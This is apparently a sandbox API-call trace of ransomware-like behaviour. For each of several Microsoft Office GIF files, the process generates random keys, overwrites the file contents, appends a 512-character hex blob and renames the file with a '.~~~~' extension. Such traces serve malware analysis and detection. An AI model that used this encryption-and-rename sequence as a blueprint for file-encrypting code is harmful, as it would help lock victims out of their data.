	[0126.955] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.955] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.955] CloseHandle (hObject=0x138) returned 1
	[0126.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3c80
	[0126.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif.~~~~")) returned 1
	[0126.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0126.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.956] GetLastError () returned 0x0
	[0126.957] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.958] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.958] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.958] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24694828387) returned 1
	[0126.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb51f3790, dwHighDateTime=0x1d60e1e)) 
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821d68
	[0126.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821d68 | out: hHeap=0x300000) returned 1
	[0126.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3bd8
	[0126.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0126.959] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.959] GetLastError () returned 0x0
	[0126.959] GetLastError () returned 0x0
	[0126.959] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.960] GetLastError () returned 0x0
	[0126.960] GetLastError () returned 0x0
	[0126.961] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.178] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xfd, lpOverlapped=0x0) returned 1
	[0127.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.181] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.181] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.181] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.181] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.181] CloseHandle (hObject=0x138) returned 1
	[0127.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3fc8
	[0127.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif.~~~~")) returned 1
	[0127.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3fc8 | out: hHeap=0x300000) returned 1
	[0127.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.209] GetLastError () returned 0x0
	[0127.210] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.211] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.211] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24720146791) returned 1
	[0127.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb547aef0, dwHighDateTime=0x1d60e1e)) 
	[0127.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821ef0
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821ef0 | out: hHeap=0x300000) returned 1
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f34a0
	[0127.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0127.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.212] GetLastError () returned 0x0
	[0127.213] GetLastError () returned 0x0
	[0127.213] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.213] GetLastError () returned 0x0
	[0127.213] GetLastError () returned 0x0
	[0127.216] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffeef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.216] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x111, lpOverlapped=0x0) returned 1
	[0127.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.218] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.218] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.219] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.219] CloseHandle (hObject=0x144) returned 1
	[0127.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0127.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif.~~~~")) returned 1
	[0127.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0127.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.220] GetLastError () returned 0x0
	[0127.221] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.222] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.222] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.222] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24721223357) returned 1
	[0127.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb547aef0, dwHighDateTime=0x1d60e1e)) 
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821f28
	[0127.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821f28 | out: hHeap=0x300000) returned 1
	[0127.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3740
	[0127.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0127.223] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.223] GetLastError () returned 0x0
	[0127.223] GetLastError () returned 0x0
	[0127.223] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.223] GetLastError () returned 0x0
	[0127.224] GetLastError () returned 0x0
	[0127.225] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffeee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.225] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x112, lpOverlapped=0x0) returned 1
	[0127.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.227] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.227] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.227] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.227] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.227] CloseHandle (hObject=0x144) returned 1
	[0127.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0127.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif.~~~~")) returned 1
	[0127.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0127.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.229] GetLastError () returned 0x0
	[0127.229] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.230] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.230] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24722053325) returned 1
	[0127.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb54a1050, dwHighDateTime=0x1d60e1e)) 
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821f60
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821f60 | out: hHeap=0x300000) returned 1
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3a88
	[0127.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0127.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.231] GetLastError () returned 0x0
	[0127.232] GetLastError () returned 0x0
	[0127.232] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.232] GetLastError () returned 0x0
	[0127.232] GetLastError () returned 0x0
	[0127.233] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffec4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.233] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x13c, lpOverlapped=0x0) returned 1
	[0127.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.235] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.235] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.235] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.235] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.235] CloseHandle (hObject=0x144) returned 1
	[0127.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3a88
	[0127.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif.~~~~")) returned 1
	[0127.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0127.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.237] GetLastError () returned 0x0
	[0127.237] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.238] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.239] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24722871055) returned 1
	[0127.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb54a1050, dwHighDateTime=0x1d60e1e)) 
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821f98
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821f98 | out: hHeap=0x300000) returned 1
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3548
	[0127.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3548 | out: hHeap=0x300000) returned 1
	[0127.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.240] GetLastError () returned 0x0
	[0127.240] GetLastError () returned 0x0
	[0127.240] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.240] GetLastError () returned 0x0
	[0127.240] GetLastError () returned 0x0
	[0127.242] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.242] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf5, lpOverlapped=0x0) returned 1
	[0127.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
